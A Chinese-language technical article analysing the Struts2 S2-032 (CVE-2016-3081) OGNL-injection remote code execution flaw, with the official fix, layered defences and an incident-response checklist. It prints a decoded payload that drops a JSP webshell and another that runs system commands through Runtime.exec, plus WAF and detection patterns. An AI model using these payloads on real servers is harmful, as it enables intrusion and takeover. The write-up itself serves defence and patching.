首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

Struts2 S2-032 (CVE-2016-3081) 遠程代碼執行漏洞深度剖析與防禦

     編輯:Java 相關知識

漏洞概況

  • 編號:S2-032 / CVE-2016-3081
  • 影響版本:Struts 2.3.20 - 2.3.28 (除 2.3.20.2/2.3.24.2/2.3.28.1)
  • 核心原因:動態方法調用 (DMI) 開啟時,OGNL 表達式注入導致任意代碼執行。
  • 危害等級:關鍵 — 無需認證、遠程執行、獲取服務器控制權。

OGNL 表達式語言關鍵語法

攻擊向量分析

1. 入口點

URL 參數 method 直接傳入 OGNL 表達式:


/vuln.action?method:%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,...

2. 核心調用鏈

  1. DefaultActionProxy 構造器接收 methodName,經 StringEscapeUtils 轉義 (不足)。
  2. DefaultActionMapper 解析 method:xxx 語法,提取方法名。
  3. DefaultActionInvocation.invokeAction() 調用 ognlUtil.getValue(methodName + "()", context, action)。
  4. OGNL 引擎解析並執行表達式,繞過安全管理器執行任意 Java 代碼。

3. 利用 Payload 解碼 (文件上傳)


# 解碼後核心邏輯:
_memberAccess = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,  // 關閉安全檢查
#req = @org.apache.struts2.ServletActionContext@getRequest(),
#res = @org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding('UTF-8'),
#w = #res.getWriter(),
#path = #req.getRealPath('/'),
new java.io.BufferedWriter(new java.io.FileWriter(#path + 'shell.jsp'))
    .append('<%@ page import="java.io.*" %><% out.println("hacked"); %>')
.close(),
#w.print(#path),
#w.close()

4. 利用 Payload 解碼 (命令執行)


# 核心邏輯:
_memberAccess[allowStaticMethodAccess] = true,
_memberAccess[allowPrivateAccess] = true,
_memberAccess[excludedPackageNamePatterns] = {},
_memberAccess[excludedClasses] = {},
#res = @org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding('UTF-8'),
#w = #res.getWriter(),
#s = new java.util.Scanner(
    @java.lang.Runtime@getRuntime().exec('whoami').getInputStream()
).useDelimiter('\\A'),
#str = #s.hasNext() ? #s.next() : '',
#w.print(#str),
#w.close()

官方修復方案 (2.3.28.1+)


// DefaultActionMapper.cleanupActionName() 新增白名單校驗
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");

protected String cleanupActionName(String rawActionName) {
    if (allowedActionNames.matcher(rawActionName).matches()) {
        return rawActionName; // 只允許字母數字._!/-
    }
    // 移除非法字符
    String clean = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
        clean = clean.replace(chunk, "");
    }
    return clean;
}

三層防禦體系

第一層:框架配置 (零成本、即時生效)




 

原理:關閉 DMI 功能,切斷 method: 入口。若業務需動態方法,升級到 2.3.28.1+ 並配置白名單。

第二層:JVM 級防護 (深度防禦)


# 啟動參數添加 (Java 8u121+)
-Djdk.lang.Process.allowAmbiguousCommands=false

原理:禁用 Runtime.exec() 執行模糊命令,阻斷命令執行類 Payload。需測試業務影響 (如合法調用系統命令)。

第三層:WAF/RASP/容器安全 (外部防禦)

  • WAF 規則:攔截含 @ognl.OgnlContext、@java.lang.Runtime、_memberAccess 等特徵的請求。
  • RASP Agent:掛鉤 Runtime.exec、ProcessBuilder.start、ClassLoader.defineClass 等敏感點,實時阻斷異常調用。
  • 容器最小權限:以非 root 用戶運行、禁用不必要系統調用 (Seccomp)、只讀根文件系統。

升級指南

符號作用示例
#訪問非根對象 (session、application、parameters)#session.user
%強制解析字符串為 OGNL 表達式 (類似 eval)%{1+1} → 2
$國際化資源/配置文件中引用 OGNL${user.name}
@調用靜態方法/訪問靜態字段@java.lang.Runtime@getRuntime()

應急響應檢查清單

  1. 檢查日誌:grep -r "method:" access.log | grep -E "(_memberAccess|Runtime|OgnlContext)"
  2. 排查 Webshell:find /webapp -name "*.jsp" -o -name "*.jspx" | xargs grep -l "Runtime.getRuntime"
  3. 檢查異常進程:ps aux | grep -E "(java|python|perl|bash).*(wget|curl|nc|bash)"
  4. 驗證修復:發送測試 Payload 確認返回 400/500 而非執行成功。
  5. 全量升級:所有環境 (開發/測試/預發/生產) 統一升級。

最佳實踐總結

最小權限原則:業務不需要的功能 (DMI、靜態方法調用、Runtime.exec) 一律關閉。
纏繞防禦:框架配置 + JVM 參數 + WAF/RASP + 容器加固,單點失效不導致沦陷。
持續更新:訂閱 Apache Struts 安全公告、CVE 數據庫,建立依賴掃描 CI 流程 (OWASP Dependency-Check)。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
當前版本建議升級目標備註
2.3.x2.3.28.1 (最終 2.3 維護版)兼容性最好,僅修復安全問題
2.5.x2.5.30+ (LTS)包含更多安全增強
1.x立即遷移至 2.5+1.x 早已停止維護